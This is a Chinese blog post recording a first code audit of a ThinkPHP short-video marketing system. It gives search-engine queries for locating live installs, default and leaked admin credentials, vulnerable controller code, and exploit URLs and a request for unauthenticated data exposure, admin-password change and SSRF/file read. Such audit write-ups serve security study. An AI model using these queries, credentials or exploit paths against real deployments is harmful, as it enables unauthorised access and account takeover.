前言
1
| 本篇文章是自己学习代码审计后,进行代码审计的第一篇记录,目前此源码中仍有很多漏洞,这里就只写出几个比较容易常见的漏洞来做以介绍
|
免责声明
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本博客站不承担任何法律及连带责任!!!
系统介绍:
系统为ThinkPHP框架,源码的目录结构 控制器全都是简单的eval加密:
资产信息收集
fofa:
title=”短视频矩阵营销系统”
鹰图:
web.title=”短视频矩阵营销系统”
资产样式:
登录页面:
后台界面:
数据大屏:
弱口令漏洞:
这个是通过google语法收集的默认账号密码,通过搜集的资产进行验证,很多资产可以登录
1 2 3
| admin/123456
ceshi/123456
|
可道云后门+管理员等账号密码信息泄露:
在\public\static\admin\css\kod\data\system\system_member.php存在账号密码信息泄露
密码为常见的MD5加密
MD5解密
账号 |
密码 |
admin |
a123456 |
demo |
demo |
guest |
guest |
拼接/static/admin/css/kod/index.php进入页面,输入上面获取的账号密码即可进入
进入后,这里我在bing搜索了可道云,发现可道云存在很多历史漏洞,这里就先放着了,因为我的目的是进行代码审计,而不是进行利用.
前台未授权:
在 /application/admin/controller/user.php 控制器中的index⽅法直接GET获取page,未加鉴权函数,查询数据表会将账号密码等数据直接将列出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function index(){ $key = input('key'); $map = []; if ($key && $key !== "") { $map['username'] = ['like',"%" . $key . "%"]; } $Nowpage = input('get.page') ? input('get.page'):1; $limits = 20; $count = Db::name('admin')->where($map)->count(); $allpage = intval(ceil($count / $limits)); $user = new UserModel(); $lists = $user->getUsersByWhere($map, $Nowpage, $limits); foreach ($lists as $k => $v) { $lists[$k]['last_login_time']=date('Y-m-d H:i:s',$v['last_login_time'] ); } $this->assign('Nowpage', $Nowpage); $this->assign('allpage', $allpage); $this->assign('val', $key); if (input('get.page')) { return json($lists); } return $this->fetch(); }
|
payload:
直接访问 /index.php/admin/user/index.html?page=1 即可未授权查看⽤户账密信息
未授权修改超管密码:
分析userEdit 方法,发现没有做任何鉴权和限制,可随意操纵任意账户,更改密码等操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function userEdit() { $user = new UserModel(); if(request()->isAjax()){ $param = input('post.'); if(empty($param['password'])){ unset($param['password']); }else{ $param['password'] = md5(md5($param['password']) . config('auth_key')); } $flag = $user->editUser($param); writelog(session('id'),session('username'),'⽤户【'.$param['username'].'】编辑成功',1); return json(['code' => $flag['code'], 'data' => $flag['data'], 'msg'=>$flag['msg']]); } $id = input('param.id'); $role = new UserType(); $this->assign(['user' => $user->getOneUser($id),'role' => $role->getRole()]); return $this->fetch(); }
|
直接访问 /index.php/admin/user/userEdit/id/1 即可直接越权更改管理员密码,当然这里我就不改了,因为如图所示直接输入密码就可以改掉超级管理员的密码了,改了要出事的
任意文件读取和SSRF漏洞:
在 /application/admin/controller/userinfo.php 控制器中的poihuoqu方法,存在curl_exec函数,传参可控,未加鉴权,且结果直接回显,导致任意文件读取和SSRF漏洞.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function poihuoqu() { $poi = input('post.poi'); $url = trim($poi); $info = curl_init(); curl_setopt($info,CURLOPT_RETURNTRANSFER,true); curl_setopt($info,CURLOPT_HEADER,0); curl_setopt($info,CURLOPT_NOBODY,0); curl_setopt($info,CURLOPT_SSL_VERIFYPEER,false); curl_setopt($info,CURLOPT_SSL_VERIFYPEER,false); curl_setopt($info,CURLOPT_SSL_VERIFYHOST,false); curl_setopt($info,CURLOPT_URL,$url); $output = curl_exec($info); curl_close($info); $on = mb_stripos($output,"poi_id="); $er = mb_stripos($output,"&"); $poiid = mb_substr($output,$on+7,$er-$on-7); if($output){ return json(['code'=>1,'msg'=>$poiid]);} else{ return json(['code'=>-1,'msg'=>'获取失败']);} }
|
请求包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /index.php/admin/Userinfo/poihuoqu HTTP/2 Host: Cache-Control: max-age=0 Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
|
总结
本篇文章是自己学习代码审计后,第一次审计代码,仅做记录和学习使用,如果存在解读不到位的地方,还请各位师傅能给我一些建议,谢谢!
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~